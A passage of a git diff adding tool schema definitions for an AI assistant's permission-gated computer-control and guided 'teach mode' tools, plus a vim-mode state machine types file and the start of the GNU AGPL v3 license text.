+    /** Include request_teach_access + teach_step. Read once at server construction. */
+    teachMode?: boolean;
+  },
+  coordinateMode: CoordinateMode,
+  installedAppNames?: string[],
+): Tool[] {
+  const coord = COORD_DESC[coordinateMode];
+
+  // Shared hint suffix for BOTH request_access and request_teach_access —
+  // they use the same resolveRequestedApps path, so the model should get
+  // the same enumeration for both.
+  const installedAppsHint =
+    installedAppNames && installedAppNames.length > 0
+      ? ` Available applications on this machine: ${installedAppNames.join(", ")}.`
+      : "";
+
+  // [x, y]` tuple — param shape for all
+  // click/move/scroll tools.
+  const coordinateTuple = {
+    type: "array",
+    items: { type: "number" },
+    minItems: 2,
+    maxItems: 2,
+    description: `(x, y): ${coord.x}`,
+  };
+  // Modifier hold during click. Shared across all 5 click variants.
+  const clickModifierText = {
+    type: "string",
+    description:
+      'Modifier keys to hold during the click (e.g. "shift", "ctrl+shift"). Supports the same syntax as the key tool.',
+  };
+
+  const screenshotDesc =
+    caps.screenshotFiltering === "native"
+      ? "Take a screenshot of the primary display. Applications not in the session allowlist are excluded at the compositor level — only granted apps and the desktop are visible."
+      : "Take a screenshot of the primary display. On this platform, screenshots are NOT filtered — all open windows are visible. Input actions targeting apps not in the session allowlist are rejected.";
+
+  return [
+    {
+      name: "request_access",
+      description:
+        "Request user permission to control a set of applications for this session. Must be called before any other tool in this server. " +
+        "The user sees a single dialog listing all requested apps and either allows the whole set or denies it. " +
+        "Call this again mid-session to add more apps; previously granted apps remain granted. " +
+        "Returns the granted apps, denied apps, and screenshot filtering capability.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          apps: {
+            type: "array",
+            items: { type: "string" },
+            description:
+              "Application display names (e.g. \"Slack\", \"Calendar\") or bundle identifiers (e.g. \"com.tinyspeck.slackmacgap\"). Display names are resolved case-insensitively against installed apps." +
+              installedAppsHint,
+          },
+          reason: {
+            type: "string",
+            description:
+              "One-sentence explanation shown to the user in the approval dialog. Explain the task, not the mechanism.",
+          },
+          clipboardRead: {
+            type: "boolean",
+            description:
+              "Also request permission to read the user's clipboard (separate checkbox in the dialog).",
+          },
+          clipboardWrite: {
+            type: "boolean",
+            description:
+              "Also request permission to write the user's clipboard. When granted, multi-line `type` calls use the clipboard fast path.",
+          },
+          systemKeyCombos: {
+            type: "boolean",
+            description:
+              "Also request permission to send system-level key combos (quit app, switch app, lock screen). Without this, those specific combos are blocked.",
+          },
+        },
+        required: ["apps", "reason"],
+      },
+    },
+
+    {
+      name: "screenshot",
+      description:
+        screenshotDesc +
+        " Returns an error if the allowlist is empty. The returned image is what subsequent click coordinates are relative to.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          save_to_disk: {
+            type: "boolean",
+            description:
+              "Save the image to disk so it can be attached to a message for the user. Returns the saved path in the tool result. Only set this when you intend to share the image — screenshots you're just looking at don't need saving.",
+          },
+        },
+        required: [],
+      },
+    },
+
+    {
+      name: "zoom",
+      description:
+        "Take a higher-resolution screenshot of a specific region of the last full-screen screenshot. Use this liberally to inspect small text, button labels, or fine UI details that are hard to read in the downsampled full-screen image. " +
+        "IMPORTANT: Coordinates in subsequent click calls always refer to the full-screen screenshot, never the zoomed image. This tool is read-only for inspecting detail.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          region: {
+            type: "array",
+            items: { type: "integer" },
+            minItems: 4,
+            maxItems: 4,
+            description:
+              "(x0, y0, x1, y1): Rectangle to zoom into, in the coordinate space of the most recent full-screen screenshot. x0,y0 = top-left, x1,y1 = bottom-right.",
+          },
+          save_to_disk: {
+            type: "boolean",
+            description:
+              "Save the image to disk so it can be attached to a message for the user. Returns the saved path in the tool result. Only set this when you intend to share the image.",
+          },
+        },
+        required: ["region"],
+      },
+    },
+
+    {
+      name: "left_click",
+      description: `Left-click at the given coordinates. ${FRONTMOST_GATE_DESC}`,
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          coordinate: coordinateTuple,
+          text: clickModifierText,
+        },
+        required: ["coordinate"],
+      },
+    },
+
+    {
+      name: "double_click",
+      description: `Double-click at the given coordinates. Selects a word in most text editors. ${FRONTMOST_GATE_DESC}`,
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          coordinate: coordinateTuple,
+          text: clickModifierText,
+        },
+        required: ["coordinate"],
+      },
+    },
+
+    {
+      name: "triple_click",
+      description: `Triple-click at the given coordinates. Selects a line in most text editors. ${FRONTMOST_GATE_DESC}`,
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          coordinate: coordinateTuple,
+          text: clickModifierText,
+        },
+        required: ["coordinate"],
+      },
+    },
+
+    {
+      name: "right_click",
+      description: `Right-click at the given coordinates. Opens a context menu in most applications. ${FRONTMOST_GATE_DESC}`,
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          coordinate: coordinateTuple,
+          text: clickModifierText,
+        },
+        required: ["coordinate"],
+      },
+    },
+
+    {
+      name: "middle_click",
+      description: `Middle-click (scroll-wheel click) at the given coordinates. ${FRONTMOST_GATE_DESC}`,
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          coordinate: coordinateTuple,
+          text: clickModifierText,
+        },
+        required: ["coordinate"],
+      },
+    },
+
+    {
+      name: "type",
+      description: `Type text into whatever currently has keyboard focus. ${FRONTMOST_GATE_DESC} Newlines are supported. For keyboard shortcuts use \`key\` instead.`,
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          text: { type: "string", description: "Text to type." },
+        },
+        required: ["text"],
+      },
+    },
+
+    {
+      name: "key",
+      description:
+        `Press a key or key combination (e.g. "return", "escape", "cmd+a", "ctrl+shift+tab"). ${FRONTMOST_GATE_DESC} ` +
+        "System-level combos (quit app, switch app, lock screen) require the `systemKeyCombos` grant — without it they return an error. All other combos work.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          text: {
+            type: "string",
+            description: 'Modifiers joined with "+", e.g. "cmd+shift+a".',
+          },
+          repeat: {
+            type: "integer",
+            minimum: 1,
+            maximum: 100,
+            description: "Number of times to repeat the key press. Default is 1.",
+          },
+        },
+        required: ["text"],
+      },
+    },
+
+    {
+      name: "scroll",
+      description: `Scroll at the given coordinates. ${FRONTMOST_GATE_DESC}`,
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          coordinate: coordinateTuple,
+          scroll_direction: {
+            type: "string",
+            enum: ["up", "down", "left", "right"],
+            description: "Direction to scroll.",
+          },
+          scroll_amount: {
+            type: "integer",
+            minimum: 0,
+            maximum: 100,
+            description: "Number of scroll ticks.",
+          },
+        },
+        required: ["coordinate", "scroll_direction", "scroll_amount"],
+      },
+    },
+
+    {
+      name: "left_click_drag",
+      description: `Press, move to target, and release. ${FRONTMOST_GATE_DESC}`,
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          coordinate: {
+            ...coordinateTuple,
+            description: `(x, y) end point: ${coord.x}`,
+          },
+          start_coordinate: {
+            ...coordinateTuple,
+            description: `(x, y) start point. If omitted, drags from the current cursor position. ${coord.x}`,
+          },
+        },
+        required: ["coordinate"],
+      },
+    },
+
+    {
+      name: "mouse_move",
+      description: `Move the mouse cursor without clicking. Useful for triggering hover states. ${FRONTMOST_GATE_DESC}`,
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          coordinate: coordinateTuple,
+        },
+        required: ["coordinate"],
+      },
+    },
+
+    {
+      name: "open_application",
+      description:
+        "Bring an application to the front, launching it if necessary. The target application must already be in the session allowlist — call request_access first.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          app: {
+            type: "string",
+            description:
+              "Display name (e.g. \"Slack\") or bundle identifier (e.g. \"com.tinyspeck.slackmacgap\").",
+          },
+        },
+        required: ["app"],
+      },
+    },
+
+    {
+      name: "switch_display",
+      description:
+        "Switch which monitor subsequent screenshots capture. Use this when the " +
+        "application you need is on a different monitor than the one shown. " +
+        "The screenshot tool tells you which monitor it captured and lists " +
+        "other attached monitors by name — pass one of those names here. " +
+        "After switching, call screenshot to see the new monitor. " +
+        'Pass "auto" to return to automatic monitor selection.',
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          display: {
+            type: "string",
+            description:
+              'Monitor name from the screenshot note (e.g. "Built-in Retina Display", ' +
+              '"LG UltraFine"), or "auto" to re-enable automatic selection.',
+          },
+        },
+        required: ["display"],
+      },
+    },
+
+    {
+      name: "list_granted_applications",
+      description:
+        "List the applications currently in the session allowlist, plus the active grant flags and coordinate mode. No side effects.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {},
+        required: [],
+      },
+    },
+
+    {
+      name: "read_clipboard",
+      description:
+        "Read the current clipboard contents as text. Requires the `clipboardRead` grant.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {},
+        required: [],
+      },
+    },
+
+    {
+      name: "write_clipboard",
+      description:
+        "Write text to the clipboard. Requires the `clipboardWrite` grant.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          text: { type: "string" },
+        },
+        required: ["text"],
+      },
+    },
+
+    {
+      name: "wait",
+      description: "Wait for a specified duration.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          duration: {
+            type: "number",
+            description: "Duration in seconds (0–100).",
+          },
+        },
+        required: ["duration"],
+      },
+    },
+
+    {
+      name: "cursor_position",
+      description:
+        "Get the current mouse cursor position. Returns image-pixel coordinates relative to the most recent screenshot, or logical points if no screenshot has been taken.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {},
+        required: [],
+      },
+    },
+
+    {
+      name: "hold_key",
+      description:
+        `Press and hold a key or key combination for the specified duration, then release. ${FRONTMOST_GATE_DESC} ` +
+        "System-level combos require the `systemKeyCombos` grant.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          text: {
+            type: "string",
+            description: 'Key or chord to hold, e.g. "space", "shift+down".',
+          },
+          duration: {
+            type: "number",
+            description: "Duration in seconds (0–100).",
+          },
+        },
+        required: ["text", "duration"],
+      },
+    },
+
+    {
+      name: "left_mouse_down",
+      description:
+        `Press the left mouse button at the current cursor position and leave it held. ${FRONTMOST_GATE_DESC} ` +
+        "Use mouse_move first to position the cursor. Call left_mouse_up to release. Errors if the button is already held.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {},
+        required: [],
+      },
+    },
+
+    {
+      name: "left_mouse_up",
+      description:
+        `Release the left mouse button at the current cursor position. ${FRONTMOST_GATE_DESC} ` +
+        "Pairs with left_mouse_down. Safe to call even if the button is not currently held.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {},
+        required: [],
+      },
+    },
+
+    {
+      name: "computer_batch",
+      description:
+        "Execute a sequence of actions in ONE tool call. Each individual tool call requires a model→API round trip (seconds); " +
+        "batching a predictable sequence eliminates all but one. Use this whenever you can predict the outcome of several actions ahead — " +
+        "e.g. click a field, type into it, press Return. Actions execute sequentially and stop on the first error. " +
+        `${FRONTMOST_GATE_DESC} The frontmost check runs before EACH action inside the batch — if an action opens a non-allowed app, the next action's gate fires and the batch stops there. ` +
+        "Mid-batch screenshot actions are allowed for inspection but coordinates in subsequent clicks always refer to the PRE-BATCH full-screen screenshot.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          actions: {
+            type: "array",
+            minItems: 1,
+            items: BATCH_ACTION_ITEM_SCHEMA,
+            description:
+              'List of actions. Example: [{"action":"left_click","coordinate":[100,200]},{"action":"type","text":"hello"},{"action":"key","text":"Return"}]',
+          },
+        },
+        required: ["actions"],
+      },
+    },
+
+    ...(caps.teachMode ? buildTeachTools(coord, installedAppsHint) : []),
+  ];
+}
+
+/**
+ * Teach-mode tools. Split out so the spread above stays a single expression;
+ * takes `coord` so `teach_step.anchor`'s description uses the same
+ * frozen coordinate-mode phrasing as click coords, and `installedAppsHint`
+ * so `request_teach_access.apps` gets the same enumeration as
+ * `request_access.apps` (same resolution path → same hint).
+ */
+function buildTeachTools(
+  coord: { x: string; y: string },
+  installedAppsHint: string,
+): Tool[] {
+  // Shared between teach_step (top-level) and teach_batch (inside steps[]
+  // items). Depends on coord, so it lives inside this factory.
+  const teachStepProperties = {
+    explanation: {
+      type: "string",
+      description:
+        "Tooltip body text. Explain what the user is looking at and why it matters. " +
+        "This is the ONLY place the user sees your words — be complete but concise.",
+    },
+    next_preview: {
+      type: "string",
+      description:
+        "One line describing exactly what will happen when the user clicks Next. " +
+        'Example: "Next: I\'ll click Create Bucket and type the name." ' +
+        "Shown below the explanation in a smaller font.",
+    },
+    anchor: {
+      type: "array",
+      items: { type: "number" },
+      minItems: 2,
+      maxItems: 2,
+      description:
+        `(x, y) — where the tooltip arrow points. ${coord.x} ` +
+        "Omit to center the tooltip with no arrow (for general-context steps).",
+    },
+    actions: {
+      type: "array",
+      // Empty allowed — "read this, click Next" steps.
+      items: BATCH_ACTION_ITEM_SCHEMA,
+      description:
+        "Actions to execute when the user clicks Next. Same item schema as computer_batch.actions. " +
+        "Empty array is valid for purely explanatory steps. Actions run sequentially and stop on first error.",
+    },
+  } as const;
+
+  return [
+    {
+      name: "request_teach_access",
+      description:
+        "Request permission to guide the user through a task step-by-step with on-screen tooltips. " +
+        "Use this INSTEAD OF request_access when the user wants to LEARN how to do something " +
+        '(phrases like "teach me", "walk me through", "show me how", "help me learn"). ' +
+        "On approval the main Claude window hides and a fullscreen tooltip overlay appears. " +
+        "You then call teach_step repeatedly; each call shows one tooltip and waits for the user to click Next. " +
+        "Same app-allowlist semantics as request_access, but no clipboard/system-key flags. " +
+        "Teach mode ends automatically when your turn ends.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          apps: {
+            type: "array",
+            items: { type: "string" },
+            description:
+              'Application display names (e.g. "Slack", "Calendar") or bundle identifiers. Resolved case-insensitively against installed apps.' +
+              installedAppsHint,
+          },
+          reason: {
+            type: "string",
+            description:
+              'What you will be teaching. Shown in the approval dialog as "Claude wants to guide you through {reason}". Keep it short and task-focused.',
+          },
+        },
+        required: ["apps", "reason"],
+      },
+    },
+
+    {
+      name: "teach_step",
+      description:
+        "Show one guided-tour tooltip and wait for the user to click Next. On Next, execute the actions, " +
+        "take a fresh screenshot, and return both — you do NOT need a separate screenshot call between steps. " +
+        "The returned image shows the state after your actions ran; anchor the next teach_step against it. " +
+        "IMPORTANT — the user only sees the tooltip during teach mode. Put ALL narration in `explanation`. " +
+        "Text you emit outside teach_step calls is NOT visible until teach mode ends. " +
+        "Pack as many actions as possible into each step's `actions` array — the user waits through " +
+        "the whole round trip between clicks, so one step that fills a form beats five steps that fill one field each. " +
+        "Returns {exited:true} if the user clicks Exit — do not call teach_step again after that. " +
+        "Take an initial screenshot before your FIRST teach_step to anchor it.",
+      inputSchema: {
+        type: "object" as const,
+        properties: teachStepProperties,
+        required: ["explanation", "next_preview", "actions"],
+      },
+    },
+
+    {
+      name: "teach_batch",
+      description:
+        "Queue multiple teach steps in one tool call. Parallels computer_batch: " +
+        "N steps → one model↔API round trip instead of N. Each step still shows a tooltip " +
+        "and waits for the user's Next click, but YOU aren't waiting for a round trip between steps. " +
+        "You can call teach_batch multiple times in one tour — treat each batch as one predictable " +
+        "SEGMENT (typically: all the steps on one page). The returned screenshot shows the state " +
+        "after the batch's final actions; anchor the NEXT teach_batch against it. " +
+        "WITHIN a batch, all anchors and click coordinates refer to the PRE-BATCH screenshot " +
+        "(same invariant as computer_batch) — for steps 2+ in a batch, either omit anchor " +
+        "(centered tooltip) or target elements you know won't have moved. " +
+        "Good pattern: batch 5 tooltips on page A (last step navigates) → read returned screenshot → " +
+        "batch 3 tooltips on page B → done. " +
+        "Returns {exited:true, stepsCompleted:N} if the user clicks Exit — do NOT call again after that; " +
+        "{stepsCompleted, stepFailed, ...} if an action errors mid-batch; " +
+        "otherwise {stepsCompleted, results:[...]} plus a final screenshot. " +
+        "Fall back to individual teach_step calls when you need to react to each intermediate screenshot.",
+      inputSchema: {
+        type: "object" as const,
+        properties: {
+          steps: {
+            type: "array",
+            minItems: 1,
+            items: {
+              type: "object",
+              properties: teachStepProperties,
+              required: ["explanation", "next_preview", "actions"],
+            },
+            description:
+              "Ordered steps. Validated upfront — a typo in step 5 errors before any tooltip shows.",
+          },
+        },
+        required: ["steps"],
+      },
+    },
+  ];
+}
diff --git a/_all-in-one-upload/cc-haha/src/vim/types.ts b/_all-in-one-upload/cc-haha/src/vim/types.ts
new file mode 100644
index 0000000..6ce950d
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/vim/types.ts
@@ -0,0 +1,199 @@
+/**
+ * Vim Mode State Machine Types
+ *
+ * This file defines the complete state machine for vim input handling.
+ * The types ARE the documentation - reading them tells you how the system works.
+ *
+ * State Diagram:
+ * ```
+ *                              VimState
+ *   ┌──────────────────────────────┬──────────────────────────────────────┐
+ *   │  INSERT                      │  NORMAL                              │
+ *   │  (tracks insertedText)       │  (CommandState machine)              │
+ *   │                              │                                      │
+ *   │                              │  idle ──┬─[d/c/y]──► operator        │
+ *   │                              │         ├─[1-9]────► count           │
+ *   │                              │         ├─[fFtT]───► find            │
+ *   │                              │         ├─[g]──────► g               │
+ *   │                              │         ├─[r]──────► replace         │
+ *   │                              │         └─[><]─────► indent          │
+ *   │                              │                                      │
+ *   │                              │  operator ─┬─[motion]──► execute     │
+ *   │                              │            ├─[0-9]────► operatorCount│
+ *   │                              │            ├─[ia]─────► operatorTextObj
+ *   │                              │            └─[fFtT]───► operatorFind │
+ *   └──────────────────────────────┴──────────────────────────────────────┘
+ * ```
+ */
+
+// ============================================================================
+// Core Types
+// ============================================================================
+
+export type Operator = 'delete' | 'change' | 'yank'
+
+export type FindType = 'f' | 'F' | 't' | 'T'
+
+export type TextObjScope = 'inner' | 'around'
+
+// ============================================================================
+// State Machine Types
+// ============================================================================
+
+/**
+ * Complete vim state. Mode determines what data is tracked.
+ *
+ * INSERT mode: Track text being typed (for dot-repeat)
+ * NORMAL mode: Track command being parsed (state machine)
+ */
+export type VimState =
+  | { mode: 'INSERT'; insertedText: string }
+  | { mode: 'NORMAL'; command: CommandState }
+
+/**
+ * Command state machine for NORMAL mode.
+ *
+ * Each state knows exactly what input it's waiting for.
+ * TypeScript ensures exhaustive handling in switches.
+ */
+export type CommandState =
+  | { type: 'idle' }
+  | { type: 'count'; digits: string }
+  | { type: 'operator'; op: Operator; count: number }
+  | { type: 'operatorCount'; op: Operator; count: number; digits: string }
+  | { type: 'operatorFind'; op: Operator; count: number; find: FindType }
+  | {
+      type: 'operatorTextObj'
+      op: Operator
+      count: number
+      scope: TextObjScope
+    }
+  | { type: 'find'; find: FindType; count: number }
+  | { type: 'g'; count: number }
+  | { type: 'operatorG'; op: Operator; count: number }
+  | { type: 'replace'; count: number }
+  | { type: 'indent'; dir: '>' | '<'; count: number }
+
+/**
+ * Persistent state that survives across commands.
+ * This is the "memory" of vim - what gets recalled for repeats and pastes.
+ */
+export type PersistentState = {
+  lastChange: RecordedChange | null
+  lastFind: { type: FindType; char: string } | null
+  register: string
+  registerIsLinewise: boolean
+}
+
+/**
+ * Recorded change for dot-repeat.
+ * Captures everything needed to replay a command.
+ */
+export type RecordedChange =
+  | { type: 'insert'; text: string }
+  | {
+      type: 'operator'
+      op: Operator
+      motion: string
+      count: number
+    }
+  | {
+      type: 'operatorTextObj'
+      op: Operator
+      objType: string
+      scope: TextObjScope
+      count: number
+    }
+  | {
+      type: 'operatorFind'
+      op: Operator
+      find: FindType
+      char: string
+      count: number
+    }
+  | { type: 'replace'; char: string; count: number }
+  | { type: 'x'; count: number }
+  | { type: 'toggleCase'; count: number }
+  | { type: 'indent'; dir: '>' | '<'; count: number }
+  | { type: 'openLine'; direction: 'above' | 'below' }
+  | { type: 'join'; count: number }
+
+// ============================================================================
+// Key Groups - Named constants, no magic strings
+// ============================================================================
+
+export const OPERATORS = {
+  d: 'delete',
+  c: 'change',
+  y: 'yank',
+} as const satisfies Record<string, Operator>
+
+export function isOperatorKey(key: string): key is keyof typeof OPERATORS {
+  return key in OPERATORS
+}
+
+export const SIMPLE_MOTIONS = new Set([
+  'h',
+  'l',
+  'j',
+  'k', // Basic movement
+  'w',
+  'b',
+  'e',
+  'W',
+  'B',
+  'E', // Word motions
+  '0',
+  '^',
+  '$', // Line positions
+])
+
+export const FIND_KEYS = new Set(['f', 'F', 't', 'T'])
+
+export const TEXT_OBJ_SCOPES = {
+  i: 'inner',
+  a: 'around',
+} as const satisfies Record<string, TextObjScope>
+
+export function isTextObjScopeKey(
+  key: string,
+): key is keyof typeof TEXT_OBJ_SCOPES {
+  return key in TEXT_OBJ_SCOPES
+}
+
+export const TEXT_OBJ_TYPES = new Set([
+  'w',
+  'W', // Word/WORD
+  '"',
+  "'",
+  '`', // Quotes
+  '(',
+  ')',
+  'b', // Parens
+  '[',
+  ']', // Brackets
+  '{',
+  '}',
+  'B', // Braces
+  '<',
+  '>', // Angle brackets
+])
+
+export const MAX_VIM_COUNT = 10000
+
+// ============================================================================
+// State Factories
+// ============================================================================
+
+export function createInitialVimState(): VimState {
+  return { mode: 'INSERT', insertedText: '' }
+}
+
+export function createInitialPersistentState(): PersistentState {
+  return {
+    lastChange: null,
+    lastFind: null,
+    register: '',
+    registerIsLinewise: false,
+  }
+}
diff --git a/_all-in-one-upload/new-api/LICENSE b/_all-in-one-upload/new-api/LICENSE
new file mode 100644
index 0000000..0ad25db
--- /dev/null
+++ b/_all-in-one-upload/new-api/LICENSE
@@ -0,0 +1,661 @@
+                    GNU AFFERO GENERAL PUBLIC LICENSE
+                       Version 3, 19 November 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU Affero General Public License is a free, copyleft license for
+software and other kinds of works, specifically designed to ensure
+cooperation with the community in the case of network server software.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+our General Public Licenses are intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  Developers that use our General Public Licenses protect your rights
+with two steps: (1) assert copyright on the software, and (2) offer
+you this License which gives you legal permission to copy, distribute
+and/or modify the software.
+
+  A secondary benefit of defending all users' freedom is that
+improvements made in alternate versions of the program, if they
+receive widespread use, become available for other developers to
+incorporate.  Many developers of free software are heartened and
+encouraged by the resulting cooperation.  However, in the case of
+software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and
+letting the public access it on a server without ever releasing its
+source code to the public.
+
+  The GNU Affero General Public License is designed specifically to
+ensure that, in such cases, the modified source code becomes available
+to the community.  It requires the operator of a network server to
+provide the source code of the modified version running there to the
+users of that server.  Therefore, public use of a modified version, on
+a publicly accessible server, gives the public access to the source
+code of the modified version.
+
+  An older license, called the Affero General Public License and
+published by Affero, was designed to accomplish similar goals.  This is
+a different license, not a version of the Affero GPL, but Affero has
+released a new version of the Affero GPL which permits relicensing under
+this license.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU Affero General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
